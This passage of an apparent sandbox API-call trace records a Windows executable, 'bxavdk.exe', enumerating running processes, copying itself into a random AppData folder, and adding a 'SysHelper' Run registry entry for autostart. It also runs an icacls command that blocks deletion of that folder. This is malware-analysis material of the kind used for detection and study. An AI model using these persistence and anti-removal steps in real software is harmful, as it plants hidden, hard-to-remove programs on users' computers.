pNumArgs=0x18e6f4) returned 0x32b01a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0048.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe") returned="bxavdk.exe" [0048.598] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0048.599] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0048.599] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0048.599] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0048.599] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0048.630] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0048.630] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0048.630] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0048.630] EnumProcesses (in: lpidProcess=0x183ef0, cb=0xa000, lpcbNeeded=0x18e700 | out: lpidProcess=0x183ef0, lpcbNeeded=0x18e700) returned 1 [0048.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0048.633] CloseHandle (hObject=0x0) returned 0 [0048.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0048.633] CloseHandle (hObject=0x0) returned 0 [0048.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0048.633] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0048.634] CloseHandle (hObject=0x0) returned 0 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0048.635] CloseHandle (hObject=0x0) returned 0 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0048.635] CloseHandle (hObject=0x0) returned 0 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0048.635] CloseHandle (hObject=0x0) returned 0 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5c0 [0048.635] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0048.635] CloseHandle (hObject=0x5c0) returned 1 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5c0 [0048.635] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0048.635] CloseHandle (hObject=0x5c0) returned 1 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0048.635] CloseHandle (hObject=0x0) returned 0 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5c0 [0048.635] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0048.635] CloseHandle (hObject=0x5c0) returned 1 [0048.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0048.636] CloseHandle (hObject=0x0) returned 0 [0048.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5c0 [0048.636] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0048.636] CloseHandle (hObject=0x5c0) returned 1 [0048.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0x0 [0048.636] CloseHandle (hObject=0x0) returned 0 [0048.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5c0 [0048.636] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.637] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x940000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="sun_surgery.exe") returned 0xf [0048.637] CloseHandle (hObject=0x5c0) returned 1 [0048.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x90) returned 0x5c0 [0048.637] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.638] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x810000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="fursitemap.exe") returned 0xe [0048.638] CloseHandle (hObject=0x5c0) returned 1 [0048.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x5c0 [0048.638] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.639] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xab0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="bra_assessed.exe") returned 0x10 [0048.639] CloseHandle (hObject=0x5c0) returned 1 [0048.639] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x594) returned 0x5c0 [0048.639] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.640] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x250000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="beautiful-principal-translated.exe") returned 0x22 [0048.640] CloseHandle (hObject=0x5c0) returned 1 [0048.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x5c0 [0048.641] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.641] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1280000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="hobbies.exe") returned 0xb [0048.642] CloseHandle (hObject=0x5c0) returned 1 [0048.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x244) returned 0x5c0 [0048.642] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.643] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x290000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="carrier hobbies helps.exe") returned 0x19 [0048.643] CloseHandle (hObject=0x5c0) returned 1 [0048.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x114) returned 0x5c0 [0048.643] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.644] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xed0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="phantom roads.exe") returned 0x11 [0048.644] CloseHandle (hObject=0x5c0) returned 1 [0048.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x314) returned 0x5c0 [0048.644] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.645] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x990000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="printers_twiki_tracked.exe") returned 0x1a [0048.645] CloseHandle (hObject=0x5c0) returned 1 [0048.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e8) returned 0x5c0 [0048.645] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.646] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1270000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="resolution.exe") returned 0xe [0048.646] CloseHandle (hObject=0x5c0) returned 1 [0048.646] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x714) returned 0x5c0 [0048.647] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.647] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xf30000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="maximize.exe") returned 0xc [0048.648] CloseHandle (hObject=0x5c0) returned 1 [0048.648] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e4) returned 0x5c0 [0048.648] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.649] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xf40000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="freezesyndicaterapidly.exe") returned 0x1a [0048.649] CloseHandle (hObject=0x5c0) returned 1 [0048.649] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15c) returned 0x5c0 [0048.649] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.650] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x2c0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="extremely-falls.exe") returned 0x13 [0048.650] CloseHandle (hObject=0x5c0) returned 1 [0048.650] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c8) returned 0x5c0 [0048.650] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.651] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x11a0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="sims.exe") returned 0x8 [0048.651] CloseHandle (hObject=0x5c0) returned 1 [0048.651] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x488) returned 0x5c0 [0048.651] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.652] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1250000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="approaches-regular-pit.exe") returned 0x1a [0048.652] CloseHandle (hObject=0x5c0) returned 1 [0048.652] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x5c0 [0048.653] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.653] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1310000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="ear-suse.exe") returned 0xc [0048.654] CloseHandle (hObject=0x5c0) returned 1 [0048.654] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b8) returned 0x5c0 [0048.654] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.655] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x13d0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="effective-personals-dinner.exe") returned 0x1e [0048.655] CloseHandle (hObject=0x5c0) returned 1 [0048.655] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0x5c0 [0048.655] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.656] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xcb0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="tag.exe") returned 0x7 [0048.656] CloseHandle (hObject=0x5c0) returned 1 [0048.656] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x5c0 [0048.656] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.657] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x830000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="citation.exe") returned 0xc [0048.657] CloseHandle (hObject=0x5c0) returned 1 [0048.657] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5d8) returned 0x5c0 [0048.657] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.658] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xd40000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="traveling_beam_filing.exe") returned 0x19 [0048.658] CloseHandle (hObject=0x5c0) returned 1 [0048.658] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x5c0 [0048.658] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.659] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1100000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="observed entire apparent.exe") returned 0x1c [0048.660] CloseHandle (hObject=0x5c0) returned 1 [0048.660] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7bc) returned 0x5c0 [0048.660] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.661] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x940000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="incidents blind lingerie.exe") returned 0x1c [0048.661] CloseHandle (hObject=0x5c0) returned 1 [0048.661] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x814) returned 0x0 [0048.661] CloseHandle (hObject=0x0) returned 0 [0048.661] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d8) returned 0x5c0 [0048.661] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0048.662] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x400000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="bxavdk.exe") returned 0xa [0048.662] CloseHandle (hObject=0x5c0) returned 1 [0048.662] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaa4) returned 0x5c0 [0048.662] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0048.662] CloseHandle (hObject=0x5c0) returned 1 [0048.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x692740 [0048.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x6c41b0 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x32b37f0 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x32d1fb8 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x6c48b0 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x6c4b18 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x32d3700 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x32d3968 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x32d3bd0 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x32c72e8 [0048.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x32c7550 [0048.663] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e6f0 | out: phkResult=0x18e6f0*=0x5c0) returned 0x0 [0048.663] RegQueryValueExW (in: hKey=0x5c0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e6ec, lpData=0x18ce18, lpcbData=0x18e6d0*=0x400 | out: lpType=0x18e6ec*=0x0, lpData=0x18ce18*=0x0, lpcbData=0x18e6d0*=0x400) returned 0x2 [0048.663] RegCloseKey (hKey=0x5c0) returned 0x0 [0048.663] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0048.663] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0048.664] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" " [0048.664] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" ", pNumArgs=0x18e6b4 | out: pNumArgs=0x18e6b4) returned 0x32b0218*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0048.664] lstrcpyW (in: lpString1=0x18c618, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0048.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe") returned="bxavdk.exe" [0048.664] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18de18 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0048.664] UuidCreate (in: Uuid=0x18e664 | out: Uuid=0x18e664) returned 0x0 [0048.664] UuidToStringW (in: Uuid=0x18e664, StringUuid=0x18e6f8 | out: StringUuid=0x18e6f8) returned 0x0 [0048.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x32f70f8 [0048.664] RpcMgmtStatsVectorFree (in: StatsVector=0x18e6f8 | out: StatsVector=0x18e6f8) returned 0x0 [0048.664] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="3a21fbc5-dd69-4c4d-8afb-49507938dea0" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0") returned 1 [0048.664] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0"), lpSecurityAttributes=0x0) returned 1 [0048.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x329b670 [0048.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x329b728 [0048.665] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0", pMore="bxavdk.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe") returned 1 [0048.665] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe")) returned 0 [0048.665] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe"), bFailIfExists=0) returned 1 [0048.697] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e6f4 | out: phkResult=0x18e6f4*=0x5c4) returned 0x0 [0048.697] lstrcpyW (in: lpString1=0x18d618, lpString2="\"" | out: lpString1="\"") returned="\"" [0048.697] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe" [0048.697] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe\" --AutoStart" [0048.697] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe\" --AutoStart") returned 105 [0048.697] RegSetValueExW (in: hKey=0x5c4, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe\" --AutoStart", cbData=0xd2 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe\" --AutoStart") returned 0x0 [0048.697] RegCloseKey (hKey=0x5c4) returned 0x0 [0048.697] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x3295768 [0048.697] SetLastError (dwErrCode=0x0) [0048.697] lstrcpyW (in: lpString1=0x18b618, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0048.697] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0" [0048.697] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0048.697] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18e618*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e674 | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18e674*(hProcess=0x5c0, hThread=0x5c4, dwProcessId=0xac8, dwThreadId=0xacc)) returned 1 [0048.708] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0048.710] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0048.795] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0048.804] WaitForSingleObject (hHandle=0x5c0, 